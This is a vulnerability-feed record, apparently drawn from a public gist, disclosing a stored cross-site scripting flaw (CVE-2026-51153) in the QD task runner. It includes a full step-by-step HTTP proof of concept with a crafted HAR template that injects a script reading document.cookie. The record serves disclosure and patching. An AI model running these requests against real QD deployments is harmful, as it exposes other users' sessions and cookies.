{"uuid": "4b0dcf35-5e7e-434b-bca9-1076c6204e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51153", "type": "seen", "source": "https://gist.github.com/kurokoleung/9fc51b02c85c2f466bf4ea72c62ba343", "content": "[CVE ID]\nCVE-2026-51153\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nCross Site Scripting (XSS) \u2014 Stored\n\n[DESCRIPTION]\nA stored cross-site scripting vulnerability exists in TaskRunHandler.post() at web/handlers/task.py. When a task is run via /task//run, the handler renders the task log content (logtmp) into the HTML response using Python % string formatting without any HTML encoding. The logtmp value is populated either from the exception object's string representation or from new_env[\"variables\"].get(\"__log__\"), which is attacker-controlled through the template's extract_variables mechanism. A low-privileged authenticated attacker can create a crafted HAR template that extracts arbitrary HTML/JavaScript into the __log__ variable via the api://util/unicode endpoint (which returns decoded input without sanitization). When the victim (or another user) triggers the task run, the embedded script executes in the victim's browser within the QD application context.\n\n[PROOF OF CONCEPT]\n\nThe following sequence requires 4 dynamic values extracted in order:\n- {{_xsrf}}: obtained from GET /register response\n- {{user_cookie}}: cookie returned after registration\n- {{tplid}}: JSON {\"id\": ...} returned by POST /har/save\n- {{taskid}}: extracted from /my/ page after POST /task/new redirect\n\n=== Step 1: Obtain XSRF token ===\n\nGET /register HTTP/1.1\nHost: :8923\n\n=== Step 2: Register a low-privileged user ===\n\nPOST /register HTTP/1.1\nHost: :8923\nContent-Type: application/x-www-form-urlencoded\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}\nReferer: http://:8923/register\n\nemail=xssrepro@example.com&amp;password=P@ssw0rd!\n\n=== Step 3: Save malicious template with XSS payload ===\n\nPOST /har/save HTTP/1.1\nHost: :8923\nContent-Type: application/json\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/har/edit\n\n{\n  \"har\": {\n    \"log\": {\n      \"creator\": {\"name\": \"manual\", \"version\": \"1\"},\n      \"entries\": [{\n        \"comment\": \"xss-poc\",\n        \"checked\": true,\n        \"startedDateTime\": \"2026-04-16T00:00:00Z\",\n        \"time\": 1,\n        \"request\": {\n          \"method\": \"GET\",\n          \"url\": \"api://util/unicode?content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E\",\n          \"headers\": [],\n          \"queryString\": [],\n          \"cookies\": [],\n          \"headersSize\": -1,\n          \"bodySize\": 0,\n          \"postData\": {}\n        },\n        \"response\": {},\n        \"cache\": {},\n        \"timings\": {},\n        \"connections\": \"0\",\n        \"pageref\": \"page_0\",\n        \"success_asserts\": [],\n        \"failed_asserts\": [],\n        \"extract_variables\": [{\n          \"name\": \"__log__\",\n          \"re\": \"\\\"\u8f6c\u6362\u540e\\\": \\\"([^\\\"]+)\\\"\",\n          \"from\": \"content\"\n        }]\n      }],\n      \"pages\": [],\n      \"version\": \"1.2\"\n    }\n  },\n  \"tpl\": [{\n    \"comment\": \"xss-poc\",\n    \"request\": {\n      \"method\": \"GET\",\n      \"url\": \"api://util/unicode?content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E\",\n      \"headers\": [],\n      \"cookies\": [],\n      \"data\": \"\",\n      \"mimeType\": \"\"\n    },\n    \"rule\": {\n      \"success_asserts\": [],\n      \"failed_asserts\": [],\n      \"extract_variables\": [{\n        \"name\": \"__log__\",\n        \"re\": \"\\\"\u8f6c\u6362\u540e\\\": \\\"([^\\\"]+)\\\"\",\n        \"from\": \"content\"\n      }]\n    }\n  }],\n  \"setting\": {\n    \"sitename\": \"xss-poc\",\n    \"siteurl\": \"http://:8923\",\n    \"note\": \"xss repro\",\n    \"interval\": \"\"\n  }\n}\n\nThe URL parameter content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E is the URL-encoded form of alert(document.cookie). The api://util/unicode endpoint decodes and returns it verbatim in the response field \"\u8f6c\u6362\u540e\": \"alert(document.cookie)\" without sanitization.\n\n=== Step 4: Create a task from the malicious template ===\n\nPOST /task/new HTTP/1.1\nHost: :8923\nContent-Type: application/x-www-form-urlencoded\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/task/new\n\n_binux_tplid={{tplid}}&amp;_binux_tested=true&amp;_binux_note=xss-task&amp;_binux_proxy=&amp;_binux_retry_count=&amp;_binux_retry_interval=\n\n=== Step 5: Trigger the stored XSS ===\n\nPOST /task/{{taskid}}/run HTTP/1.1\nHost: :8923\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/my/\n\nThe response contains the unescaped payload directly:\n\n\n\u8fd0\u884c\u6210\u529f\n\n\n\n2026-07-28 12:00:00 \\r\\n\u65e5\u5fd7\uff1aalert(document.cookie)\n\u590d\u5236\n\n\n[REFERENCE]\nhttp://qd-today.com\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:50:13.541440Z"}